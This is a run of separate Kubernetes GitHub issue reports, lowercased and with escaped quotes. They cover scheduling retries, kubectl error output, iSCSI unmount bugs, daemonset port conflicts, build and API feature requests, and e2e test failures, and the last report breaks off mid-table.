 \r   what happened  :\r \r some of our nodes got into inconsistent state which prevented them from running any new workload  docker login got broken  and master attempted to re-launch pods on the same node over and over.\r \r   what you expected to happen  :\r \r master  scheduler?  should give up on node after numerous failed attempts to launch a pod and try a different node. wouldn't really do anything if pod itself is broken  e.g docker image doesn't exist, etc  but would prevent workload from stubbornly trying to launch on the broken node.\r \r   how to reproduce it  as minimally and precisely as possible   : break the node in a way that it can't launch any workload  e.g prevent docker from authenticating \r \r   anything else we need to know?  : n/a\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r \r    \r client version: version.info{major:\ 1\ , minor:\ 10\ , gitversion:\ v1.10.7\ , gitcommit:\ 0c38c362511b20a098d7cd855f1314dad92c2780\ , gittreestate:\ clean\ , builddate:\ 2018-08-20t10:09:03z\ , goversion:\ go1.9.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 10+\ , gitversion:\ v1.10.6-gke.2\ , gitcommit:\ 384b4eaa132ca9a295fcb3e5dfc74062b257e7df\ , gittreestate:\ clean\ , builddate:\ 2018-08-15t00:10:14z\ , goversion:\ go1.9.3b4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r

what happened  :\r    console\r kubectl create secret generic test-secret --from-file=mysecret --from-file=mysecret\r error: cannot add key mysecret, another key by that name already exists: map mysecret: 100 97 116 97 100 97 116 97 100 97 116 97 100 97 116 97 100 97 116 97 100 97 116 97 100 97 116 97 100 97 116 97 100 97 116 97 100 97 116 97 100 97 116 97 100 97 116 97 100 97 116 97 100 97 116 97 100 97 116 97 100 97 116 97 100 97 116 97 100 97 116 97 100 97 116 97 100 97 116 97 100 97 116 97 100 97 116 97 100 97 116 97 100 97 116 97 100 97 116 97 100 97 116 97 100 97 116 97 100 97 116 97 100 97 116 97 100 97 116 97 100 97 116 97 100 97 116 97 100 97 116 97 100 97 116 97 100 97 116 97 100 97 116 97 100 97 116 97 100 97 116 97 100 97 116 97 100 97 116 97 100 97 116 97 100 97 116 97 100 97 116 97 100 97 116 97 100 97 116 97 100 97 116 97 100 97 116 97 100 97 116 97 100 97 116 97 100 97 116 97 100 97 116 97 100 97 116 97 100 97 116 97 100 97 116 97 100 97 116 97 100 97 116 97 100 97 116 97 100 97 116 97 100 97 116 97 100 97 116 97 100 97 116 97 100 97 116 97 100 97 116 97 100 97 116 97 100 97 116 97 100 97 116 97 100 97 116 97 100 97 116 97 100 97 116 97 100 97 116 97 100 97 116 97 100 97 116 97 100 97 116 97 100 97 116 97 100 97 116 97 100 97 116 97 100 97 116 97 100 97 116 97 100 97 116 97 100 97 116 97 100 97 116 97 100 97 116 97 100 97 116 97 100 97 116 97 100 97 116 97 100 97 116 97 100 97 116 97 100 97 116 97 100 97 116 97 100 97 116 97 100 97 116 97 100 97 116 97 100 97 116 97 100 97 116 97 100 97 116 97 100 97 116 97 100 97 116 97 100 97 116 97 100 97 116 97 100 97 116 97 100 97 116 97 10  .\r    \r \r   what you expected to happen  :\r human readable error output.\r \r \r   anything else we need to know?  :\r the same is happening when in duplicate key while creating a  configmap  with binaries.\r !!! the error output will be all the    byte  of the binary itself !!!\r \r \r   environment  :\r - kubernetes version  use  kubectl version  :\r    console\r client version: version.info{major:\ 1\ , minor:\ 11+\ , gitversion:\ v1.11.0+d4cacc0\ , gitcommit:\ d4cacc0\ , gittreestate:\ clean\ , builddate:\ 2018-10-10t16:38:01z\ , goversion:\ go1.10.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r

in repeated panic situations this causes the server to hot loop, and if go routines are launched as children you can quite easily bring down the goruntime with too many goroutines.  things lavalamp and i tossed around: - treat  0  as  10   time.milliseconds  - detect multiple panics in a row and give up at some point - gradually increase timeout on successive panics up to a larger time window  is there a reason why code would need 0?  i can't think of a good one  any code that needs to hot loop like that should be doing that hot loop inside the util.forever .

the daemonset controller complains about port conflicts when a new node starts. see below for some confusing and misleading errors. i am running something that's just a few commits short of the full 1.3.  | lastseen | ct | name | kind | reason | message | source | | --- | --- | --- | --- | --- | --- | --- | | 22:55:21z | 1 | host | node | starting | starting kube-proxy. | {kube-proxy host} | | 22:55:35z | 1 | host | node | starting | starting kubelet. | {kubelet host} | | 22:55:36 | 1 | host | node | nodehas...disk | node host status is now: nodehassufficientdisk | {kubelet host} | | 22:55:36 | 1 | host | node | nodehas...memory | node host status is now: nodehassufficientmemory | {kubelet host} | | 22:55:36 | 1 | hostnames | ds | successfulcreate | created pod: hostnames-05519 | {daemon-set } | | 22:55:36 | 1 | dd-agent | ds | successfulcreate | created pod: dd-agent-ho6lm | {daemon-set } | | 22:55:36 | 1 | dd-agent | ds | successfulcreate | created pod: dd-agent-nww7s | {daemon-set } | | 22:55:36 | 1 | hostnames | ds | failedplacement | failed to place pod on 'host': host port conflict | {daemonset-controller } | | 22:55:36 | 1 | fluentd-logging | ds | successfulcreate | created pod: fluentd-logging-dmoxz | {daemon-set } | | 22:55:36 | 1 | fluentd-logging | ds | failedplacement | failed to place pod on 'host': host port conflict | {daemonset-controller } | | 22:55:36 | 1 | hostnames | ds | successfuldelete | deleted pod: hostnames-05519 | {daemon-set } | | 22:55:36 | 2 | hostnames | ds | failedplacement | failed to place pod on 'host': host port conflict | {daemonset-controller } | | 22:55:36 | 2 | fluentd-logging | ds | failedplacement | failed to place pod on 'host': host port conflict | {daemonset-controller } | | 22:55:36 | 3 | hostnames | ds | failedplacement | failed to place pod on 'host': host port conflict | {daemonset-controller } | | 22:55:36 | 3 | fluentd-logging | ds | failedplacement | failed to place pod on 'host': host port conflict | {daemonset-controller } | | 22:55:36 | 1 | fluentd-logging | ds | successfuldelete | deleted pod: fluentd-logging-dmoxz | {daemon-set } | | 22:55:36 | 4 | fluentd-logging | ds | failedplacement | failed to place pod on 'host': host port conflict | {daemonset-controller } | | 22:55:40 | 1 | host | node | registerednode | node host event: registered node host in nodecontroller | {controllermanager } | | 22:56:04 | 5 | fluentd-logging | ds | failedplacement | failed to place pod on 'host': host port conflict | {daemonset-controller } | | 22:56:04 | 4 | hostnames | ds | failedplacement | failed to place pod on 'host': host port conflict | {daemonset-controller } | | 22:56:10 | 1 | dd-agent-nww7s | pod | podfitshostports | predicate podfitshostports failed | {kubelet host} | | 22:56:11 | 1 | fluentd-logging | ds | successfulcreate | created pod: fluentd-logging-0xu62 | {daemon-set } | | 22:56:11 | 1 | hostnames | ds | successfulcreate | created pod: hostnames-bcq3b | {daemon-set } | | 22:56:15 | 1 | dd-agent-ho6lm | pod | pulling | pulling image 'datadog/docker-dd-agent:sd-kubernetes-beta' | {kubelet host} | | 22:56:16 | 1 | host | node | nodeready | node host status is now: nodeready | {kubelet host} |

moving the node affinity implementation out of annotations and into api fields, and from alpha->beta, should be done piecemeal to ensure functionality and sanity.  i would propose a process first porting the implementation/tests before attempting to promote from alpha->beta.  porting would entail: 1. remove the node affinity implementation in annotations and do not bother with backwards compatibility.  worrying about backwards compatibility for an alpha feature will needlessly complicate the implementation. 2. implement node affinity in api fields. 3. port tests.  once functionality has reached parity with the annotation implement, promote from alpha->beta.  @kubernetes/sig-scheduling

is this a request for help?    if yes, you should use our troubleshooting guide and community support channels, see http://kubernetes.io/docs/troubleshooting/. :\r no\r \r   what keywords did you search in kubernetes issues before filing this one?    if you have found any duplicates, you should instead reply there. :\r readinessprobe\r readinessprobe ingress\r \r ---\r \r   is this a bug report or feature request?    choose one :\r bug report\r \r   kubernetes version    use  kubectl version  :\r    \r client version: version.info{major:\ 1\ , minor:\ 5\ , gitversion:\ v1.5.1+82450d0\ , gitcommit:\ 82450d03cb057bab0950214ef122b67c83fb11df\ , gittreestate:\ not a git tree\ , builddate:\ 2016-12-14t04:09:31z\ , goversion:\ go1.7.4\ , compiler:\ gc\ , platform:\ darwin/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 4\ , gitversion:\ v1.4.7\ , gitcommit:\ 92b4f971662de9d8770f8dcd2ee01ec226a6f6c0\ , gittreestate:\ clean\ , builddate:\ 2016-12-10t04:43:42z\ , goversion:\ go1.6.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r \r   environment  :\r -   cloud provider or hardware configuration  : gke\r -   os    e.g. from /etc/os-release : \r    \r build_id=8872.47.0\r name=\ container-vm image\ \r google_crash_id=lakitu\r version_id=55\r bug_report_url=https://crbug.com/new\r pretty_name=\ google container-vm image\ \r version=55\r google_metrics_product_id=26\r home_url=\ https://cloud.google.com/compute/docs/containers/vm-image/\ \r id=gci\r    \r -   kernel    e.g.  uname -a  :  linux gke-testcluster1-default-pool-28630e9c-5txn 4.4.21+  1 smp thu nov 10 21:43:53 pst 2016 x86_64 intel r  xeon r  cpu @ 2.30ghz genuineintel gnu/linux \r -   install tools  :\r -   others  :\r \r \r   what happened  :\r when using a named port in the readinessprobe, the ingress doesn't pick up the custom url for the healthcheck. named ports appear to be supported, as described  here  http://kubernetes.io/docs/user-guide/liveness/ .\r \r   what you expected to happen  :\r the ingress create a gce healthcheck using the custom url, rather than defaulting to /.\r \r   how to reproduce it    as minimally and precisely as possible :\r the below should work but does not. if you change line 22 to  port: 8080 , then it functions as expected.\r \r    yaml\r ---\r apiversion: extensions/v1beta1\r kind: deployment\r metadata:\r   name: echoheaders\r spec:\r   template:\r     metadata:\r       labels:\r         app: echoheaders\r     spec:\r       containers:\r       - name: echoheaders\r         image: gcr.io/google_containers/echoserver:1.4\r         ports:\r           - name: http\r             containerport: 8080\r         readinessprobe:\r           httpget:\r             path: /healthcheck\r             scheme: http\r             port: http\r \r ---\r apiversion: v1\r kind: service\r metadata:\r   name: nodeport-service\r spec:\r   ports:\r     - name: http\r       port: 8080\r   selector:\r     app: echoheaders\r   type: nodeport\r \r ---\r apiversion: extensions/v1beta1\r kind: ingress\r metadata:\r   name: ingress\r spec:\r   backend:\r     servicename: nodeport-service\r     serviceport: 8080\r    \r \r   anything else do we need to know  :\r \r

is this a request for help?    if yes, you should use our troubleshooting guide and community support channels, see http://kubernetes.io/docs/troubleshooting/. : no\r \r \r   what keywords did you search in kubernetes issues before filing this one?    if you have found any duplicates, you should instead reply there. : iscsi umount\r \r ---\r \r   is this a bug report or feature request?    choose one : bug report\r \r   kubernetes version    use  kubectl version  :\r  server version: version.info{major:\ 1\ , minor:\ 5+\ , gitversion:\ v1.5.3-beta.0.2+270bbb6cb5f394-dirty\ , gitcommit:\ 270bbb6cb5f394be9ce1d82f8495092ad079ee3c\ , gittreestate:\ dirty\ , builddate:\ 2017-03-07t08:09:13z\ , goversion:\ go1.7.4\ , compiler:\ gc\ , platform:\ linux/amd64\ } \r \r built from v1.5.3 + cherry-pick of 695e5ddb246498545bc9b04f99ce6be849184b9c\r \r   environment  :\r -   cloud provider or hardware configuration  : vm running in softlayer under xen. 2 vcpu, 4g ram\r -   os    e.g. from /etc/os-release : ubuntu 16.04.1 lts  xenial xerus \r -   kernel    e.g.  uname -a  :  linux stage-dal09-cr2918e7e7248c41b2a613b85d19fa8cf7-w1 4.4.0-66-generic  87-ubuntu smp fri mar 3 15:29:05 utc 2017 x86_64 x86_64 x86_64 gnu/linux \r -   install tools  :\r -   others  :\r \r \r   what happened  :\r created two iscsi pvs and associated claims. created a pod with volumes that reference those claims.  once the pod landed on a node, the volumes were mounted by the kubelet and made available to the pod.\r \r when the pod was deleted, the iscsi volumes were never unmounted and the sessions remained active.\r \r   what you expected to happen  :\r i expected the iscsi volumes to be unmounted and the session to be logged out as the volumes were no longer in-use by the node.  instead the mounts remained active and the sessions were not logged out.\r \r   how to reproduce it    as minimally and precisely as possible :\r 1. run a containerized kubelet on a node with a properly configured iscsi initiator.\r 2. start a pod that uses pvcs which reference iscsi pvs\r 3. delete the pod and wait for termination.\r 4. go to the node and observe that the volumes are still mounted.\r \r   anything else we need to know  :\r we are running a containerized kubelet. the systemd service creates  /var/lib/kubelet , bind mounts it to itself, and makes it rshared:\r    \r execstartpre=/bin/mkdir -p /var/lib/kubelet\r execstartpre=/bin/sh -c \ /bin/grep /var/lib/kubelet /etc/mtab || mount --bind /var/lib/kubelet /var/lib/kubelet\ \r execstartpre=/bin/mount --make-rshared /var/lib/kubelet\r    \r and docker run includes  -v /var/lib/kubelet:/var/lib/kubelet:rw,rshared .\r \r in this configuration,  /proc/mounts  appears to contain duplicate entries for everything under  /var/lib/kubelet . this symptom has been referenced by issues  30258 and  32336.\r \r tracing the kubelet, the volume related commands appear to be:\r \r    \r execve \ /sbin/iscsiadm\ ,  \ iscsiadm\ , \ -m\ , \ iface\ , \ -i\ , \ default\ , \ -o\ , \ show\  ,  /  3 vars  /   = 0\r execve \ /sbin/iscsiadm\ ,  \ iscsiadm\ , \ -m\ , \ discovery\ , \ -t\ , \ sendtargets\ , \ -p\ , \ 10.2.125.18:3260\ , \ -i\ , \ default\  ,  /  3 vars  /   = 0\r execve \ /sbin/iscsiadm\ ,  \ iscsiadm\ , \ -m\ , \ node\ , \ -p\ , \ 10.2.125.18:3260\ , \ -t\ , \ iqn.1992-08.com.netapp:stmdal0901\ , \ -i\ , \ default\ , \ --login\  ,  /  3 vars  /   = 0\r execve \ /sbin/fsck\ ,  \ fsck\ , \ -a\ , \ /dev/disk/by-path/ip-10.2.125.18:3260-iscsi-iqn.1992-08.com.netapp:stmdal0901-lun-174\  ,  /  3 vars  /   = 0\r execve \ /sbin/fsck.ext4\ ,  \ fsck.ext4\ , \ -a\ , \ /dev/sdb\  ,  /  3 vars  /   = 0\r execve \ /bin/mount\ ,  \ mount\ , \ -o\ , \ defaults\ , \ /dev/disk/by-path/ip-10.2.125.18:3260-iscsi-iqn.1992-08.com.netapp:stmdal0901-lun-174\ , \ /var/lib/kubelet/plugins/kubernetes.io/iscsi/10.2.125.18:3260-iqn.1992-08.com.netapp:stmdal0901-lun-174\  ,  /  3 vars  /   = 0\r execve \ /bin/mount\ ,  \ mount\ , \ -o\ , \ bind\ , \ /var/lib/kubelet/plugins/kubernetes.io/iscsi/10.2.125.18:3260-iqn.1992-08.com.netapp:stmdal0901-lun-174\ , \ /var/lib/kubelet/pods/2144304c-04fa-11e7-a20a-e2672a8ee1ce/volumes/kubernetes.io~iscsi/pvc-61c505b2-044e-11e7-a20a-e2672a8ee1ce\  ,  /  3 vars  /   = 0\r execve \ /bin/mount\ ,  \ mount\ , \ -o\ , \ remount\ , \ /var/lib/kubelet/plugins/kubernetes.io/iscsi/10.2.125.18:3260-iqn.1992-08.com.netapp:stmdal0901-lun-174\ , \ /var/lib/kubelet/pods/2144304c-04fa-11e7-a20a-e2672a8ee1ce/volumes/kubernetes.io~iscsi/pvc-61c505b2-044e-11e7-a20a-e2672a8ee1ce\  ,  /  3 vars  /  <unfinished ...>\r execve \ /bin/umount\ ,  \ umount\ , \ /var/lib/kubelet/pods/2144304c-04fa-11e7-a20a-e2672a8ee1ce/volumes/kubernetes.io~iscsi/pvc-61c505b2-044e-11e7-a20a-e2672a8ee1ce\  ,  /  3 vars  /   = 0\r    \r  and\r    \r execve \ /sbin/iscsiadm\ ,  \ iscsiadm\ , \ -m\ , \ iface\ , \ -i\ , \ default\ , \ -o\ , \ show\  ,  /  3 vars  /   = 0\r execve \ /sbin/iscsiadm\ ,  \ iscsiadm\ , \ -m\ , \ discovery\ , \ -t\ , \ sendtargets\ , \ -p\ , \ 10.2.125.132:3260\ , \ -i\ , \ default\  ,  /  3 vars  /   = 0\r execve \ /sbin/iscsiadm\ ,  \ iscsiadm\ , \ -m\ , \ node\ , \ -p\ , \ 10.2.125.132:3260\ , \ -t\ , \ iqn.1992-08.com.netapp:stfdal0901\ , \ -i\ , \ default\ , \ --login\  ,  /  3 vars  /   = 0\r execve \ /sbin/fsck\ ,  \ fsck\ , \ -a\ , \ /dev/disk/by-path/ip-10.2.125.132:3260-iscsi-iqn.1992-08.com.netapp:stfdal0901-lun-161\  ,  /  3 vars  /   = 0\r execve \ /sbin/fsck.ext4\ ,  \ fsck.ext4\ , \ -a\ , \ /dev/sda\  ,  /  3 vars  /   = 0\r execve \ /bin/mount\ ,  \ mount\ , \ -o\ , \ defaults\ , \ /dev/disk/by-path/ip-10.2.125.132:3260-iscsi-iqn.1992-08.com.netapp:stfdal0901-lun-161\ , \ /var/lib/kubelet/plugins/kubernetes.io/iscsi/10.2.125.132:3260-iqn.1992-08.com.netapp:stfdal0901-lun-161\  ,  /  3 vars  /   = 0\r execve \ /bin/mount\ ,  \ mount\ , \ -o\ , \ bind\ , \ /var/lib/kubelet/plugins/kubernetes.io/iscsi/10.2.125.132:3260-iqn.1992-08.com.netapp:stfdal0901-lun-161\ , \ /var/lib/kubelet/pods/2144304c-04fa-11e7-a20a-e2672a8ee1ce/volumes/kubernetes.io~iscsi/pvc-645cb865-044e-11e7-a20a-e2672a8ee1ce\  ,  /  3 vars  /   = 0\r execve \ /bin/mount\ ,  \ mount\ , \ -o\ , \ remount\ , \ /var/lib/kubelet/plugins/kubernetes.io/iscsi/10.2.125.132:3260-iqn.1992-08.com.netapp:stfdal0901-lun-161\ , \ /var/lib/kubelet/pods/2144304c-04fa-11e7-a20a-e2672a8ee1ce/volumes/kubernetes.io~iscsi/pvc-645cb865-044e-11e7-a20a-e2672a8ee1ce\  ,  /  3 vars  /   = 0\r execve \ /bin/umount\ ,  \ umount\ , \ /var/lib/kubelet/pods/2144304c-04fa-11e7-a20a-e2672a8ee1ce/volumes/kubernetes.io~iscsi/pvc-645cb865-044e-11e7-a20a-e2672a8ee1ce\  ,  /  3 vars  /   = 0\r    \r \r after the pod has terminated,  /proc/mounts  still contains the following:\r    \r /dev/sda /var/lib/kubelet/plugins/kubernetes.io/iscsi/10.2.125.132:3260-iqn.1992-08.com.netapp:stfdal0901-lun-161 ext4 rw,relatime,stripe=16,data=ordered 0 0\r /dev/sda /var/lib/kubelet/plugins/kubernetes.io/iscsi/10.2.125.132:3260-iqn.1992-08.com.netapp:stfdal0901-lun-161 ext4 rw,relatime,stripe=16,data=ordered 0 0\r /dev/sdb /var/lib/kubelet/plugins/kubernetes.io/iscsi/10.2.125.18:3260-iqn.1992-08.com.netapp:stmdal0901-lun-174 ext4 rw,relatime,stripe=16,data=ordered 0 0\r /dev/sdb /var/lib/kubelet/plugins/kubernetes.io/iscsi/10.2.125.18:3260-iqn.1992-08.com.netapp:stmdal0901-lun-174 ext4 rw,relatime,stripe=16,data=ordered 0 0\r    \r \r are the duplicate mount entries causing problems?\r is this behavior related to the use of  /dev/disk/by-path  device links in the mount code while the mount table contains  /dev/sdx  devices?

is this a request for help?  : nope\r \r \r   what keywords did you search in kubernetes issues before filing this one?  : cgo, cgo_enabled\r \r ---\r \r   is this a bug report or feature request?  : feature request\r \r this feature request started on the minikube issue tracker, but basically it greatly complicates the build process to use cgo, since in the minikube case at least we need to run docker to produce localkube and docker isn't always available. at least one of the reasons we need cgo to build today is that the vendored version of  go-systemd  in here is older, and a more recent version more cleanly separates out the parts of the library that require native libraries from the parts that can be written in pure go.\r \r so anyway, i think a lot of the build would get a lot easier and cleaner if we could use the native go cross-compilation support instead of having to hack around cgo and native toolchains\r \r here's the minikube issue for context: \r https://github.com/kubernetes/minikube/issues/1238 issuecomment-288812315\r \r cc @r2d4 @aaron-prindle @dlorenc

as per mtaufen:\r \r ... when kube-proxy moves its configuration type out of componentconfig, they should move the validation code along with it. validation code should live near the type it validates, and at present the kubeproxyconfiguration type still lives in componentconfig.\r \r as an example of how to remove a type from componentconfig  and all components should be removing their configuration types from this api group, by the way , see what we did for kubeletconfiguration:  49051 followed by  50789.\r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r >  >  \r \r   what happened  :\r \r should add some tests for ipvs/proxier/ipset - it means we should implement fakeipset so that tests can run everywhere.\r \r   what you expected to happen  :\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r \r  \r /assign\r

related feature ticket at: https://github.com/kubernetes/features/issues/304\r \r we already have prepared the draft code for the flexvolume, will submit the pr for discussion once the testings are done\r \r /sig-storage\r \r /cc @gnufied & @chakri-nelluri

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r  > uncomment only one, leave it on its own line: \r >\r >  >  \r \r   what happened  :\r accoding to  troubleshoot linux vm device name change  https://docs.microsoft.com/en-us/azure/virtual-machines/linux/troubleshoot-device-names-problems , there is possibility of device name change, so when kubelet is restarted, we need to check whether the following two paths are still valid:\r 1.  /var/lib/kubelet/plugins/kubernetes.io/azure-disk/mounts/m358246426 : in mountdevice func\r 2.  /var/lib/kubelet/pods/950f2eb8-d4e7-11e7-bc95-000d3a041274/volumes/kubernetes.io~azure-disk/pvc-67e4e319-d4e7-11e7-bc95-000d3a041274 : in setupat func\r \r this issue is related to https://github.com/kubernetes/kubernetes/issues/57444\r \r   what you expected to happen  :\r \r   how to reproduce it  as minimally and precisely as possible   :\r follow guide on https://github.com/kubernetes/kubernetes/issues/57444\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : from v1.6-v.10\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r \r  /assign

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line:\r \r >  \r   what happened  :\r i create a pod like this:\r  apiversion: v1\r kind: pod\r metadata:\r   name: web-server\r spec:\r   containers:\r    - name: web-server\r      image: nginx\r      volumemounts:\r        - mountpath: /var/lib/www/html\r          name: mydata\r   volumes:\r    - name: mydata\r      csi:\r        driver: \ csi-xxxx\ \r        fstype: \ ext4\ \r        volumehandle: \ xxxxxx \r \r   what you expected to happen  :\r kubectl told me:\r \r error: error validating \ pod3.yaml\ : error validating data: validationerror pod.spec.volumes 0  : unknown field \ csi\  in io.k8s.api.core.v1.volume; if you choose to ignore these errors, turn validation off with --validate=false\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r no\r \r   environment  :\r - kubernetes version  use  kubectl version  : v1.11.1\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :centos 7.1\r - kernel  e.g.  uname -a  :4.1\r - install tools:\r - others:\r \r @kubernetes/sig-storage-feature-requests @kubernetes/sig-storage-proposals

is this a bug report or feature request?  :\r \r    \r   description  :\r \r it's better to move  pkg/scheduler/algorithm/well_known_labels.go  to  pkg/scheduler/api/  to avoid dependency cycle.  for example,  pkg/scheduler/algorithm/types.go  includes  schedulercache  which may also dependent on other pkgs.\r \r should be part of  68951 .\r

we added a new image here:\r https://github.com/kubernetes/kubernetes/tree/master/cluster/images/conformance\r \r the build log looks good:\r https://storage.googleapis.com/kubernetes-jenkins/logs/ci-kubernetes-cross-build/9675/build-log.txt\r \r i can see the images getting pushed to gcr repo:\r https://console.cloud.google.com/gcr/images/kubernetes-ci-images/global/conformance?gcrimagelistsize=50\r \r now we need to add a ci job that runs this container based e2e test.\r \r /assign @brahmaroutu

<!-- please only use this template for submitting reports about failing tests in kubernetes ci jobs -->\r \r   which jobs are failing  :\r \r pull-kubernetes-e2e-aks-engine-azure\r \r   which test s  are failing  :\r \r cluster setup error:\r \r    \r error creating cluster: cannot deploy: cannot get the create deployment future response: code=\ deploymentfailed\  message=\ at least one resource deployment operation failed. please list deployment operations for details. please see https://aka.ms/arm-debug for usage details.\  details= {\ code\ :\ conflict\ ,\ message\ :\ {\\r\   \\\ status\\\ : \\\ failed\\\ ,\\r\   \\\ error\\\ : {\\r\     \\\ code\\\ : \\\ resourcedeploymentfailure\\\ ,\\r\     \\\ message\\\ : \\\ the resource operation completed with terminal provisioning state 'failed'.\\\ ,\\r\     \\\ details\\\ :  \\r\       {\\r\         \\\ code\\\ : \\\ vmextensionprovisioningerror\\\ ,\\r\         \\\ message\\\ : \\\ vm has reported a failure when processing extension 'cse-master-0'. error message: \\\\\\\ enable failed: failed to execute command: command terminated with exit status=30\\\  stdout \\\ \\\  stderr \\\ connection to k8s.gcr.io 443 port  tcp/https  succeeded!\\\ connection to gcr.io 443 port  tcp/https  succeeded!\\\ connection to docker.io 443 port  tcp/https  succeeded!\\\ \\\\\\\ .\\\ \\r\       }\\r\      \\r\   }\\r\ }\ } \r    \r \r   since when has it been failing  :\r \r   testgrid link  :\r \r   reason for failure  :\r \r   anything else we need to know  :\r

hey everyone, we've been thinking about this at coreos for a little while and i wanted to get the conversation started here. this feature should simplify deploying tls-enabled kubelets  related:  2303 .  i've written an initial proposal based on the  design doc  https://github.com/kubernetes/kubernetes/blob/master/docs/design/clustering.md  that you can read at https://docs.google.com/document/d/1xppuq9nbgnxlgz94lvaanq8lp89nxiqfrhtzjzue2ki/edit?usp=sharing.  cc/ @jbeda @bgrant0607 @kelseyhightower

from borg paper:      it is wasteful to calculate feasibility and scores for all the machines in a large cell, so the scheduler examines machines in a random order until it has found “enough” feasible machines to score, and then selects the best within that set. this reduces the amount of scoring and cache invalidations needed when tasks enter and leave the system, and speeds up assignment of tasks to machines.      this seems to be easy enough to implement for generic scheduler without a lot of complexity. but we need a way to define  enough . probably configurable percentage of all nodes for generic scheduler?  there is a small issue with current implementation for adding this too.  scheduler have additional extenders that will try to filter out feasible nodes again. and it is done in a batch  the current extender is a http implementation. probably we want to reduce latency.    https://github.com/kubernetes/kubernetes/blob/master/plugin/pkg/scheduler/generic_scheduler.go l145  so if we send the \ enough\  nodes to extenders in a batch, we might end up with no feasible nodes. but in reality, there are feasible nodes that outside the \ enough\  set. this might affect scheduling correctness. do we want to ensure \ correctness\  at scheduler level?   any idea?  /cc @hongchaodeng @davidopp @haiyangding

https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/kubernetes-e2e-gke-staging-parallel/9914/  failed:  k8s.io  emptydir volumes should support  non-root,0666,tmpfs   conformance  {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/common/empty_dir.go:85 expected error:     < errors.errorstring | 0xc820ba0220>: {         s: \ expected container test-container success: gave up waiting for pod 'pod-cf913394-90d0-11e6-b872-0242ac110008' to be 'success or failure' after 5m0s\ ,     }     expected container test-container success: gave up waiting for pod 'pod-cf913394-90d0-11e6-b872-0242ac110008' to be 'success or failure' after 5m0s not to have occurred /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/framework/util.go:2283

based on @pwittrock comment  here  https://reviewable.kubernetes.io/reviews/kubernetes/kubernetes/35496 -kaime_t47fl3t8nfsah , and after pr:  35496.\r \r saving user defined nulls in lastappliedconfigannotation annotation.\r \r imagine the case once we support kubectl apply diff\r \r set field to null\r run apply diff - see changes required\r run apply - make changes\r run apply diff - see changes required - looks like nothing was updated with apply\r \r want:\r set field to null\r run apply diff - see changes required\r run apply - make changes\r run apply diff - see no changes required

failure cluster  f06eea19da5bba917654  https://go.k8s.io/triage f06eea19da5bba917654        error text:     /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/service.go:808 expected error:     < errors.errorstring | 0xc42162e5c0>: {         s: \ static ip \\\ e2e-external-lb-test-038c0199-5598-11e7-aebc-0a580a3c04e8\\\  could not be reserved: created  https://www.googleapis.com/compute/v1/projects/k8s-gce-upg-1-5-1-6-up-clu/regions/us-central1/addresses/e2e-external-lb-test-038c0199-5598-11e7-aebc-0a580a3c04e8 .\ \ ,     }     static ip \ e2e-external-lb-test-038c0199-5598-11e7-aebc-0a580a3c04e8\  could not be reserved: created  https://www.googleapis.com/compute/v1/projects/k8s-gce-upg-1-5-1-6-up-clu/regions/us-central1/addresses/e2e-external-lb-test-038c0199-5598-11e7-aebc-0a580a3c04e8 .      not to have occurred /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/service.go:577           failure cluster statistics: 1 tests failed,    40 jobs failed,    91 builds failed. failure stats cover 1 day time range '21 jun 2017 19:59 utc' to '22 jun 2017 19:59 utc'.       top failed tests by jobs failed:  | test name | jobs failed | | --- | --- | |  k8s.io  services should be able to change the type and ports of a service  slow  | 40 |        top failed jobs by builds failed:  | job name | builds failed | latest failure | | --- | --- | --- | | ci-kubernetes-e2e-gce-gci-qa-slow-m57 | 4 |  22 jun 2017 15:50 utc  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-gci-qa-slow-m57/4857  | | ci-kubernetes-e2e-gce-slow-release-1-5 | 4 |  22 jun 2017 16:41 utc  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-slow-release-1-5/89  | | ci-kubernetes-e2e-gci-gce-slow-release-1-5 | 4 |  22 jun 2017 18:02 utc  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gce-slow-release-1-5/84  |        previously closed issues for this cluster:  46919   <details><summary>rationale for assignments:</summary>  | assignee or sig area | owns test s  | | --- | --- | | bprashanth |  k8s.io  